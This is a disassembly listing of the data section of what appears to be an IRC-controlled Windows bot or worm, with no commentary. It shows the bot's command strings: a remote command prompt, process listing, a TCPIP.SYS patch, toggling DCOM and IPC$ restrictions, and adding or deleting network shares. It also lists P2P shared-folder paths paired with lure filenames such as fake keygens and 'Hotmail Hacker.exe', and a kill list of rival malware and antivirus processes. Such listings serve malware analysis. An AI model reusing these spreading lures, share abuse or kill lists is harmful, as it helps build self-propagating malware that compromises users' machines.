aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41C123:loc_41C3DCo
		align 10h
unk_44ED80	db  2Dh	; -		; DATA XREF: sub_41C3F4+90o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_44EDA8	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_41C3F4+BEo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
dword_44EDD4	dd 32h		dword_44EDD8	dd 622E7325h, 6B63hdword_44EDE0	dd 5F636673h, 642E736Fh, 6C6Chdword_44EDEC	dd 4Ch		dword_44EDF0	dd 16h		dword_44EDF4	dd 6		dword_44EDF8	dd 0E8h		dword_44EDFC	dd 3		dword_44EE00	dd 43h		dword_44EE04	dd 0FCh		dword_44EE08	dd 5		dword_44EE0C	dd 0E8h		dword_44EE10	dd 3		dword_44EE14	dd 0E5h		dword_44EE18	dd 0C8h		dword_44EE1C	dd 99h		dword_44EE20	dd 47h		dword_44EE24	dd 0C8h		dword_44EE28	dd 622B72h	aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .XComp0:0041C745o
aTcpip_sysFixed	db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .XComp0:0041CC0Fo
		align 10h
off_44EE70	dd offset aCProgramFilesK ; DATA XREF: sub_41CC78+7Cr
					; "C:\\program files\\kazaa\\my	shared folder"...
		dd offset aCProgramFile_0 ; "C:\\program files\\kazaa lite\\my shared f"...
		dd offset aCProgramFile_1 ; "C:\\program files\\kazaa lite k++\\my shar"...
		dd offset aCProgramFilesI ; "C:\\program files\\icq\\shared folder\\"
		dd offset aCProgramFilesG ; "C:\\program files\\grokster\\my grokster\\"
		dd offset aCProgramFilesB ; "C:\\program files\\bearshare\\shared\\"
		dd offset aCProgramFilesE ; "C:\\program files\\edonkey2000\\incoming\\"
		dd offset aCProgramFile_2 ; "C:\\program files\\emule\\incoming\\"
		dd offset aCProgramFilesM ; "C:\\program files\\morpheus\\my shared fol"...
		dd offset aCProgramFilesL ; "C:\\program files\\limewire\\shared\\"
		dd offset aCProgramFilesT ; "C:\\program files\\tesla\\files\\"
		dd offset aCProgramFilesW ; "C:\\program files\\winmx\\shared\\"
off_44EEA0	dd offset aWindowsVistaKe ; DATA XREF: sub_41CC78+96r
					; "Windows Vista KeyGen.exe"
		dd offset aKasperskyKeyge ; "Kaspersky KeyGen.exe"
		dd offset aHalfLife2Downl ; "Half-Life 2 Downloader.exe"
		dd offset aPasswordCracke ; "Password Cracker.exe"
		dd offset aFtpCracker_exe ; "FTP Cracker.exe"
		dd offset aBrutusFtpCrack ; "Brutus FTP	Cracker.exe"
		dd offset aHotmailHacker_ ; "Hotmail Hacker.exe"
		dd offset aHotmailCracker ; "Hotmail Cracker.exe"
		dd offset aNortonAntiViru ; "Norton Anti-Virus 2008 Enterprise Crack"...
		dd offset aDcom2Exploit_e ; "DCOM2 Exploit.exe"
		dd offset aSamHacker_exe ; "SAM	Hacker.exe"
		dd offset aPornCracker_ex ; "PORN Cracker.exe"
		dd offset aWindowsPasswor ; "Windows Password Cracker.exe"
		dd offset aL0pht4_0Window ; "L0pht 4.0 Windows Password	Cracker.exe"
		dd offset aWindowsLiveHac ; "Windows Live hack.exe"
		dd offset aSecondLifeHack ; "Second life hack Private.exe"
		dd offset aMicrosoftVis_1 ; "Microsoft Visual C++ KeyGen.exe"
		dd offset aMicrosoftVis_2 ; "Microsoft Visual Basic KeyGen.exe"
		dd offset aMicrosoftVis_3 ; "Microsoft Visual Studio KeyGen.exe"
		dd offset aPornPicturesGe ; "Porn pictures generator.exe"
		dd offset aAolInstantMess ; "AOL Instant Messenger (AIM) Hacker.exe"
		dd offset aCs2PhotoshopCr ; "CS2 photoshop cracker.exe"
		dd offset aAolPasswordCra ; "AOL Password Cracker.exe"
		dd offset aKeylogger_exe ; "Keylogger.exe"
		dd offset aMyspaceHack_ex ; "Myspace hack.exe"
		dd offset aHtmlBasic_exe ; "HTML Basic.exe"
		dd offset aCounterStrikeK ; "Counter-Strike KeyGen.exe"
		dd offset aVistaExploitsL ; "Vista exploits list.exe"
aCProgramFilesK	db 'C:\program files\kazaa\my shared folder\',0
					; DATA XREF: .XComp0:off_44EE70o
		align 4
aCProgramFile_0	db 'C:\program files\kazaa lite\my shared folder\',0
					; DATA XREF: .XComp0:0044EE74o
		align 4
aCProgramFile_1	db 'C:\program files\kazaa lite k++\my shared folder\',0
					; DATA XREF: .XComp0:0044EE78o
		align 10h
aCProgramFilesI	db 'C:\program files\icq\shared folder\',0 ; DATA XREF: .XComp0:0044EE7Co
aCProgramFilesG	db 'C:\program files\grokster\my grokster\',0 ; DATA XREF: .XComp0:0044EE80o
		align 4
aCProgramFilesB	db 'C:\program files\bearshare\shared\',0 ; DATA XREF: .XComp0:0044EE84o
		align 10h
aCProgramFilesE	db 'C:\program files\edonkey2000\incoming\',0 ; DATA XREF: .XComp0:0044EE88o
		align 4
aCProgramFile_2	db 'C:\program files\emule\incoming\',0 ; DATA XREF: .XComp0:0044EE8Co
		align 4
aCProgramFilesM	db 'C:\program files\morpheus\my shared folder\',0
					; DATA XREF: .XComp0:0044EE90o
aCProgramFilesL	db 'C:\program files\limewire\shared\',0 ; DATA XREF: .XComp0:0044EE94o
		align 4
aCProgramFilesT	db 'C:\program files\tesla\files\',0 ; DATA XREF: .XComp0:0044EE98o
		align 4
aCProgramFilesW	db 'C:\program files\winmx\shared\',0 ; DATA XREF: .XComp0:0044EE9Co
		align 4
aWindowsVistaKe	db 'Windows Vista KeyGen.exe',0 ; DATA XREF: .XComp0:off_44EEA0o
		align 4
aKasperskyKeyge	db 'Kaspersky KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEA4o
		align 10h
aHalfLife2Downl	db 'Half-Life 2 Downloader.exe',0 ; DATA XREF: .XComp0:0044EEA8o
		align 4
aPasswordCracke	db 'Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EEACo
		align 4
aFtpCracker_exe	db 'FTP Cracker.exe',0  ; DATA XREF: .XComp0:0044EEB0o
aBrutusFtpCrack	db 'Brutus FTP Cracker.exe',0 ; DATA XREF: .XComp0:0044EEB4o
		align 4
aHotmailHacker_	db 'Hotmail Hacker.exe',0 ; DATA XREF: .XComp0:0044EEB8o
		align 10h
aHotmailCracker	db 'Hotmail Cracker.exe',0 ; DATA XREF: .XComp0:0044EEBCo
aNortonAntiViru	db 'Norton Anti-Virus 2008 Enterprise Crack.exe',0
					; DATA XREF: .XComp0:0044EEC0o
aDcom2Exploit_e	db 'DCOM2 Exploit.exe',0 ; DATA XREF: .XComp0:0044EEC4o
		align 4
aSamHacker_exe	db 'SAM Hacker.exe',0   ; DATA XREF: .XComp0:0044EEC8o
		align 4
aPornCracker_ex	db 'PORN Cracker.exe',0 ; DATA XREF: .XComp0:0044EECCo
		align 4
aWindowsPasswor	db 'Windows Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EED0o
		align 4
aL0pht4_0Window	db 'L0pht 4.0 Windows Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EED4o
		align 10h
aWindowsLiveHac	db 'Windows Live hack.exe',0 ; DATA XREF: .XComp0:0044EED8o
		align 4
aSecondLifeHack	db 'Second life hack Private.exe',0 ; DATA XREF: .XComp0:0044EEDCo
		align 4
aMicrosoftVis_1	db 'Microsoft Visual C++ KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE0o
aMicrosoftVis_2	db 'Microsoft Visual Basic KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE4o
		align 4
aMicrosoftVis_3	db 'Microsoft Visual Studio KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE8o
		align 10h
aPornPicturesGe	db 'Porn pictures generator.exe',0 ; DATA XREF: .XComp0:0044EEECo
aAolInstantMess	db 'AOL Instant Messenger (AIM) Hacker.exe',0 ; DATA XREF: .XComp0:0044EEF0o
		align 4
aCs2PhotoshopCr	db 'CS2 photoshop cracker.exe',0 ; DATA XREF: .XComp0:0044EEF4o
		align 10h
aAolPasswordCra	db 'AOL Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EEF8o
		align 4
aKeylogger_exe	db 'Keylogger.exe',0    ; DATA XREF: .XComp0:0044EEFCo
		align 4
aMyspaceHack_ex	db 'Myspace hack.exe',0 ; DATA XREF: .XComp0:0044EF00o
		align 10h
aHtmlBasic_exe	db 'HTML Basic.exe',0   ; DATA XREF: .XComp0:0044EF04o
		align 10h
aCounterStrikeK	db 'Counter-Strike KeyGen.exe',0 ; DATA XREF: .XComp0:0044EF08o
		align 4
aVistaExploitsL	db 'Vista exploits list.exe',0 ; DATA XREF: .XComp0:0044EF0Co
		dd 7530h
off_44F3D8	dd offset dword_44F438	; DATA XREF: sub_41CDFD+F1r
		dd offset dword_44F444
		dd offset dword_44F454
		dd offset dword_44F460
		dd offset dword_44F46C
		dd offset dword_44F478
		dd offset dword_44F484
		dd offset dword_44F494
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe	; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
dword_44F438	dd 65676572h, 2E746964h, 657865hdword_44F444	dd 6F63736Dh, 6769666Eh, 6578652Eh, 0dword_44F454	dd 7374656Eh, 2E746174h, 657865hdword_44F460	dd 6C62736Dh, 2E747361h, 657865hdword_44F46C	dd 7270617Ah, 78652E6Fh, 65hdword_44F478	dd 7776616Eh, 652E3233h, 6578hdword_44F484	dd 6176616Eh, 32337770h, 6578652Eh, 0dword_44F494	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65haWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .XComp0:0044F3F8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .XComp0:0044F3FCo
		align 10h
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .XComp0:0044F400o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .XComp0:0044F404o
aMsblast_exe	db 'MSBLAST.exe',0      ; DATA XREF: .XComp0:0044F408o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .XComp0:0044F40Co
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .XComp0:0044F410o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .XComp0:0044F414o
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .XComp0:0044F418o
		align 4
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .XComp0:0044F41Co
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .XComp0:0044F420o
		align 10h
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .XComp0:0044F424o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .XComp0:0044F428o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .XComp0:0044F42Co
		align 4
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .XComp0:0044F430o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .XComp0:0044F434o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41CDFD+5Do
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_41CDFD+19Co
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41CDFD+1BFo
		align 10h
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_41CDFD+1E2o
		align 4
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41CDFD+286o
		align 10h
unk_44F5D0	db  2Dh	; -		; DATA XREF: sub_41D094+2Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_44F5F0	db  2Dh	; -		; DATA XREF: sub_41D094+89o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_44F614	db  2Dh	; -		; DATA XREF: sub_41D094:loc_41D132o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41D286+2Do
aS_25		db '%s',0               ; DATA XREF: sub_41D286+46o
		align 4
unk_44F64C	db  2Dh	; -		; DATA XREF: sub_41D30D+5Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_44F67C	db  2Dh	; -		; DATA XREF: sub_41D30D+B8o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_44F6A4	db  2Dh	; -		; DATA XREF: sub_41D30D:loc_41D4B3o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_41D4E3+1Eo
unk_44F6DC	db  2Dh	; -		; DATA XREF: sub_41D4E3+1E0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
unk_44F700	db  2Dh	; -		; DATA XREF: sub_41D4E3+257o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 8
off_44F738	dd offset dword_44F758	; DATA XREF: sub_41D7E0+364r
					; sub_41D7E0+37Er ...
dword_44F73C	dd 0				dd offset dword_44F760
		align 8
		dd offset dword_44F768
		dd offset off_44F76C
		dd offset dword_44F770
		dd offset off_44F774
dword_44F758	dd 24435049h, 0	dword_44F760	dd 494D4441h, 244Ehdword_44F768	dd 2443h	off_44F76C	dd offset loc_5C3A43	; DATA XREF: .XComp0:0044F74Co
dword_44F770	dd 2444h	off_44F774	dd offset loc_5C3A44	; DATA XREF: .XComp0:0044F754o
word_44F778	dw 4Eh			; DATA XREF: sub_41D7E0+38r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41D7E0+5Eo
		align 4
dword_44F788	dd 234032Dh, 75636573h,	3026572haDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
dword_44F7AC	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41D7E0:loc_41D868o
		dd 62617369h, 2E64656Ch, 0
dword_44F7CC	dd 234032Dh, 75636573h,	3026572haFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41D7E0+122o
		align 10h
dword_44F810	dd 234032Dh, 75636573h,	3026572haFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
dword_44F84C	dd 234032Dh, 75636573h,	3026572haRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_44F880	dd 234032Dh, 75636573h,	3026572haFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_44F8BC	dd 234032Dh, 75636573h,	3026572haAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_44F8EC	dd 234032Dh, 75636573h,	3026572haShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_44F910	dd 234032Dh, 75636573h,	3026572haFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_44F93C	dd 234032Dh, 75636573h,	3026572haShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_44F960	dd 234032Dh, 75636573h,	3026572haFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_44F98C	dd 234032Dh, 75636573h,	3026572haNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_44F9B4	dd 234032Dh, 75636573h,	3026572haNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_44F9E4	dw 59h			; DATA XREF: sub_41DC42+38r
		align 4
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_41DC42+5Eo
		align 4
dword_44F9F4	dd 234032Dh, 75636573h,	3026572haEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
dword_44FA18	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41DC42:loc_41DCCAo
		dd 6C62616Eh, 2E6465h
dword_44FA34	dd 234032Dh, 75636573h,	3026572haFailedToOpen_0	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_41DC42+11Fo
		align 4
dword_44FA78	dd 234032Dh, 75636573h,	3026572haFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_44FAB8	dd 234032Dh, 75636573h,	3026572haUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_44FAF0	dd 234032Dh, 75636573h,	3026572haFailedToOpen_1	db '- Failed to open IPC$ restriction registry key.',0
dword_44FB2C	dd 234032Dh, 75636573h,	3026572haAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_44FB5C	dd 234032Dh, 75636573h,	3026572haShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_44FB7C	dd 234032Dh, 75636573h,	3026572haFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
aC_4		db '%c$',0              ; DATA XREF: sub_41DC42+2FFo
aC_5		db '%c:\',0             ; DATA XREF: sub_41DC42+31Do
		align 10h
dword_44FBB0	dd 234032Dh, 75636573h,	3026572haShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
dword_44FBD0	dd 234032Dh, 75636573h,	3026572haFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_44FBF8	dd 234032Dh, 75636573h,	3026572haNetworkSharesA	db '- Network shares added.',0
dword_44FC1C	dd 234032Dh, 75636573h,	3026572haNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41E075+70o
a95_0		db '95',0               ; DATA XREF: sub_41E318+47o
		align 4
aNt_0		db 'NT',0               ; DATA XREF: sub_41E318+5Ao
		align 10h
a98_0		db '98',0               ; DATA XREF: sub_41E318+7Bo
		align 4
aMe_1		db 'ME',0               ; DATA XREF: sub_41E318+9Co
		align 4
a2k_0		db '2K',0               ; DATA XREF: sub_41E318+BAo
		align 4
aXp_2		db 'XP',0               ; DATA XREF: sub_41E318+D8o
		align 10h
a2003_0		db '2003',0             ; DATA XREF: sub_41E318+F6o
		align 4
a???		db '???',0              ; DATA XREF: sub_41E318:loc_41E41Ao
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_41E318+12Do
word_44FC84	dw 3Fh			; DATA XREF: sub_41E318+157r
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41E318:loc_41E4F6o
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41E318+20Co
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_41E318+229o
		align 4
dword_44FCB8	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41E318+339o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_44FD94	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_44FDA4	dd 6C616944h, 70752Dhoff_44FDAC	dd offset dword_4E414C	; DATA XREF: sub_41E66D:loc_41E6E0o
off_44FDB0	dd offset loc_412F4E	; DATA XREF: sub_41E66D:loc_41E6F5o
off_44FDB4	dd offset loc_412F4E	; DATA XREF: sub_41E66D+9Bo
dword_44FDB8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41E66D+C3o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
dword_44FDFC	dd 5Ch		dword_44FE00	dd 2A2F2Ah	dword_44FE04	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41E8B6+109o
		dd 4C525520h, 2Eh
unk_44FE20	db  2Dh	; -		; DATA XREF: sub_41E8B6+1FAo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
unk_44FE4C	db  2Dh	; -		; DATA XREF: sub_41E8B6+24Do
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
dword_44FE7C	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41E8B6+27Ao
		dd 64657469h, 2Eh
unk_44FE98	db  2Dh	; -		; DATA XREF: sub_41E8B6:loc_41EB45o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_44FEE0	dd 1							; sub_41EEE0+F2r ...
dword_44FEE4	dd 5Dh							; sub_41EEE0:loc_41F095r ...
dword_44FEE8	dd 0FFFFFFFFh						; sub_41F350+9Er ...
byte_44FEEC	db 0FDh			; DATA XREF: sub_41EEE0+2B7r
					; sub_41EEE0+2D1r ...
byte_44FEED	db 0DDh			; DATA XREF: sub_41F9E0+257r
					; sub_41F9E0+39Br ...
byte_44FEEE	db 0CDh			; DATA XREF: sub_41EEE0+2F1r
					; sub_41F350+377r
		align 10h
off_44FEF0	dd offset aFree		; DATA XREF: sub_41F9E0+177r
					; sub_41F9E0+1DDr ...
					; "Free"
		dd offset dword_43E4A4+20h
		dd offset dword_43E4A4+1Ch
		dd offset dword_43E4A4+14h
		dd offset dword_43E4A4+0Ch
		align 10h
dword_44FF10	dd 173Fh			dd 9875h, 9873h
off_44FF1C	dd offset sub_423090	; DATA XREF: sub_4217C0+3r
					; sub_4217C0+Cr
		dd offset sub_4230C0
		dd offset sub_4230C0
dword_44FF28	dd 1B3Fh	dword_44FF2C	dd 19930520h, 4	dup(0)					; sub_423766+2o
off_44FF40	dd offset sub_421820	; DATA XREF: sub_424980+22r
dword_44FF44	dd 2							; sub_432590+86r ...
off_44FF48	dd offset dword_4E9900	; DATA XREF: sub_4249E0+B3o
					; sub_424B30+3o ...
		dd 0
		dd offset dword_4E9900
		dd 101h
dword_44FF58	dd 0FFFFFFFFh			dd 0
		dd 1000h, 0
dword_44FF68	dd 3 dup(0)						; sub_42C200:loc_42C253o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_44FF88	dd 3 dup(0)						; sub_42C200:loc_42C265o
dword_44FF94	dd 2, 0FFFFFFFFh, 83h dup(0)
dword_4501A8	dd 8 dup(0)						; sub_424BA0+Co
dword_4501C8	dd 0FFFFFFFFh						; sub_424D20+108o ...
dword_4501CC	dd 2							; .XComp0:00424C59r ...
		dd 2 dup(4)
dword_4501D8	dd 0FFFFFFFFh						; .XComp0:00424CACr ...
		dd 2 dup(0FFFFFFFFh)
off_4501E4	dd offset aWarning	; DATA XREF: sub_4250B0+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_43ED74+8
dword_4501F0	dd 0							; sub_4258F0+44r ...
off_4501F4	dd offset dword_4E9260	; DATA XREF: sub_4258B0+29r
					; sub_4258F0+8Fr
		dd 7 dup(0)
off_450214	dd offset dword_4E9290	; DATA XREF: sub_4258B0+1Cr
					; sub_4258F0:loc_425959r
		dd 3 dup(0)
off_450224	dd offset dword_4E92A8	; DATA XREF: sub_4258B0+Fr
					; sub_4258F0+75r
		dd 3 dup(0)
off_450234	dd offset dword_4E9278	; DATA XREF: sub_4258B0+3r
					; sub_4258F0+82r
		dd 7 dup(0)
		dd 25630E8h, 16h dup(0)
off_4502B0	dd offset sub_425D20	; DATA XREF: sub_41EEE0+79r
					; sub_41F350+C1r ...
		align 8
off_4502B8	dd offset off_4502B8	; DATA XREF: sub_428460+Fo
					; sub_428460+7Ao ...
off_4502BC	dd offset off_4502B8	; DATA XREF: sub_428460:loc_4284F6r
					; sub_428460+9Fw ...
		dd offset dword_4502D0
		dd offset dword_4502D0
dword_4502C8	dd 0FFFFFFFFh						; sub_428640:loc_4286A7w
		dd 0FFFFFFFFh
dword_4502D0	dd 0F0h, 0F1h, 800h dup(0)					; .XComp0:004502C4o
off_4522D8	dd offset off_4502B8	; DATA XREF: sub_428640+17r
					; sub_428640+28w ...
dword_4522DC	dd 1E0h							; sub_425D30+146r ...
		dd 10h
off_4522E4	dd offset word_4522EE	; DATA XREF: sub_420E70+7Cr
					; sub_421570+2Dr ...
off_4522E8	dd offset word_4522EE	; DATA XREF: sub_436B90+2A4w
					; sub_436B90+35Bw
		db 2 dup(0)
word_4522EE	dw 20h			; DATA XREF: sub_436B90:loc_436EE1o
					; sub_436B90+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4524F0	dd 1							; sub_421570:loc_421576r ...
byte_4524F4	db 2Eh			; DATA XREF: sub_42C5E0:loc_42D467r
					; sub_42C5E0+ED2r ...
		align 4
dword_4524F8	dd 1							; sub_436400+296w
		align 10h
off_452500	dd offset aNull_1	; DATA XREF: sub_42A6B0:loc_42AAF2r
					; sub_42A6B0+57Cr
					; "(null)"
off_452504	dd offset aNull_0	; DATA XREF: sub_42A6B0+514r
					; "(null)"
dword_452508	dd 6							; sub_42B550+14r ...
		align 10h
byte_452510	db 1			; DATA XREF: sub_42B800+12Fr
		db 2, 4, 8
		align 8
dword_452518	dd 3A4h		word_45251C	dw 8260h		; DATA XREF: sub_42B800+192r
		dw 8279h
		dd 21h,	0
dword_452528	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_452608	dd 1		dword_45260C	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
